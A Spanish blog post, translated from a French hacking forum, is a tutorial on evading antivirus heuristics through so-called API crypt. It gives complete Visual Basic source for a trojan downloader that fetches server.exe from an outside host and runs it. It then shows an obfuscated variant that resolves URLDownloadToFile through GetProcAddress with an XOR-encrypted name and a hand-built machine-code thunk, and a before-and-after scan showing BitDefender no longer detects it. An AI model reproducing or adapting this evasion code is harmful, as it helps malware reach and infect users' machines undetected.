[How to]Bypass Heuristic, API crypt

On martes, 7 de septiembre de 2010 0 comentarios


Hola...

He visto este post en un foro y me he animado a traducirlo ya que está en frances el original,lo he adaptado al español lo mejor que he podido,asi que si alguien sabe frances y cree que hay algo mal traducido por favor que lo corrija si es posible....!!
Cita:
Saludos, he escrito un post donde describo una funcion en vb que permite llamar a las funciones en memoria directamente à partir de su dirección.


Bypasear las heuristicas (API crypt)

Introducion:

Bueno como sabeis, estamos en un momento en el que constatamos la explosión de las tecnologías heuristícas con el dominio de los programas antivirus.
Aqui vamos a ver, para empezar, el bypass de las llamadas a APIS sospechosas por el metodo llamado API crypt, aramado de un ejemplo concreto (todo codeado en vb): un simple webdownloader todo podrido PERO detectado por la heuristica de un antivirus: Bit Defender.

La deteccion

Aqui veis mi código de webdl,es muy simple,descargará server.exe:
Código:
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Main()

DownloadToFile "http://truffe.com/server.exe", WindowsDirectory & "\server.exe"

Shell WindowsDirectory & "\server.exe"

End Sub


Private Sub DownloadToFile(sSource As String, sTarget As String)

URLDownloadToFile 0, sSource, sTarget, 0, 0

End Sub


Private Function WindowsDirectory() As String
Dim sTemp As String

sTemp = String(145, Chr(0))

WindowsDirectory = Left(sTemp, GetWindowsDirectory(sTemp, Len(sTemp)))
End Function


Pues bien este código compilado y escaneado con Bit defender por ejemplo nos dará:

Resultado:
Cita:
Bit defender: Last update: 25/07/2006 - scan result: BehavesLike:Trojan.Downloader


Está claro, aqui lo que es detectado por Bit defender es el uso de urldownloadTofile.Podeis salpicar todo el código,conservar unicamente la declaracion,la función y la llamada a esta función, si escaneáis esto será detectado (por bit defender).

La indetección

Es muy simple en realidad. Bit defender no es divino,no es medium ni mas, si escondeis el uso de esta función,como hará para detectarla ? la respuesta es clara:NO PODRÁ.

Como? Es también simple nosotros vamos a llamarla, pero via su dirección de memoria con la ayuda de dos APIS muy majas: LoadLibrary() et GetProcAddress() yo escribo el codigo en vb en vb pero es perfectamente portable,el objetivo es conservar el uso de la api en cuestión,aunque no figure en claro,ni en la o las declaraciones ni en su llamada a esta.

Modulo de llamada a la API de forma dinámica
Código:
Option Explicit
' versión modificada de
' http://nienie.com/~masapico/doc_FuncPtr.html

Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long
Private Declare Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal Flags As Long, ByVal Size As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal Mem As Long) As Long
Private Declare Function MoveMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Dest As Any, ByRef Src As Any, ByVal Size As Long) As Long

Private Const GMEM_FIXED As Long = 0&
Public Hlib(1 To 2) As Long

Public Function CallFuncPtr(FuncPtr As Long, ParamArray Params() As Variant) As Variant
Const MAX_CODESIZE  As Long = 65536
Dim I               As Long
Dim pCodeData       As Long
Dim pParamData()    As Long
Dim PC              As Long
Dim Operand         As Long
Dim RetValue        As Long
Dim StrValue        As String
Dim LongValue       As Long
Dim dwThreadID      As Long
Dim hThread         As Long
Dim dwExit          As Long

ReDim pParamData(UBound(Params)) As Long

pCodeData = GlobalAlloc(GMEM_FIXED, MAX_CODESIZE)

PC = pCodeData

AddByte PC, &H55

For I = UBound(Params) To 0 Step -1
   If VarType(Params(I)) = vbString Then
       pParamData(I) = GlobalAlloc(GMEM_FIXED, LenB(Params(I)))
       StrValue = Params(I)
       MoveMemory ByVal pParamData(I), ByVal StrValue, LenB(StrValue)
       Operand = pParamData(I)
   Else
       Operand = Params(I)
   End If

   AddByte PC, &H68
   AddLong PC, Operand
Next

AddByte PC, &HB8
AddLong PC, FuncPtr
AddInt PC, &HD0FF

AddByte PC, &HBA
AddLong PC, VarPtr(RetValue)

AddInt PC, &H289
AddByte PC, &H5D
AddInt PC, &HC033
AddByte PC, &HC2
AddInt PC, &H8

' run the assembler code in a new thread
hThread = CreateThread(0, 0, pCodeData, 0, 0, dwThreadID)

Do
' if exit code is 256 the thread is
' still running
   GetExitCodeThread hThread, dwExit
   If dwExit <> 259 Then Exit Do
   DoEvents
Loop

GlobalFree pCodeData
For I = 0 To UBound(Params)
   If pParamData(I) <> 0 Then
       GlobalFree pParamData(I)
   End If
Next

CallFuncPtr = RetValue

End Function

Private Sub AddByte(ByRef PC As Long, ByVal ByteValue As Byte)

MoveMemory ByVal PC, ByteValue, 1
PC = PC + 1
End Sub

Private Sub AddInt(ByRef PC As Long, ByVal IntValue As Integer)

MoveMemory ByVal PC, IntValue, 2
PC = PC + 2
End Sub

Private Sub AddLong(ByRef PC As Long, ByVal LongValue As Long)

MoveMemory ByVal PC, LongValue, 4
PC = PC + 4
End Sub



Modulo del webdl
Código:
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Sub Main()

DownloadToFile "http://truffe.com/server.exe", WindowsDirectory & "\server.exe"

Shell WindowsDirectory & "\server.exe"

End Sub


Private Sub DownloadToFile(sSource As String, sTarget As String)
Dim sResult      As Long
Dim z      As Long

z = GetProcAddress(LoadLibrary("urlmon"), CryptString("####;#:8;50;#=81#", "T"))
sResult = CallFuncPtr(z, 0, sSource, sTarget, 0, 0)
End Sub


Private Function WindowsDirectory() As String
Dim sTemp As String

sTemp = String(145, Chr(0))

WindowsDirectory = Left(sTemp, GetWindowsDirectory(sTemp, Len(sTemp)))
End Function

Public Function CryptString(sSource As String, sPass As String) As String 'XOR
Dim sDest        As String
Dim z            As Long
Dim y            As Long

sDest = sSource

For z = 1 To Len(sSource)
   y = y - 1
   
   If y < 1 Then y = Len(sPass)
   
   Mid$(sDest, z, 1) = Chr$(Asc(Mid(sSource, z, 1)) Xor Asc(Mid(sPass, y, 1)))
Next z

CryptString = sDest

End Function



Compilado y ....
Cita:
Bit defender: Last update: 25/07/2006 - scan result: No virus found in specified file


Lo habreis entendido bien, aqui yo he conservado UrlDownloadToFile encriptando hasta su nombre("URLDownloadToFileA") en la llamada de GetProcAddress()


conclusion

Evidentemente en el ejemplo el unico antivirus en detectar el primer código es BitDefender,pero este método no funciona solamente con URLDownloadTofile, es cuestión de ver que APIS son detectadas (si las detectan)y de encriptar en consecuencia!

A divertirse.. :p


El texto original se encuentra en :

http://undergroundkonnekt.net/index.php?showtopic=9189

Escrito por Lord

0 comentarios:

Publicar un comentario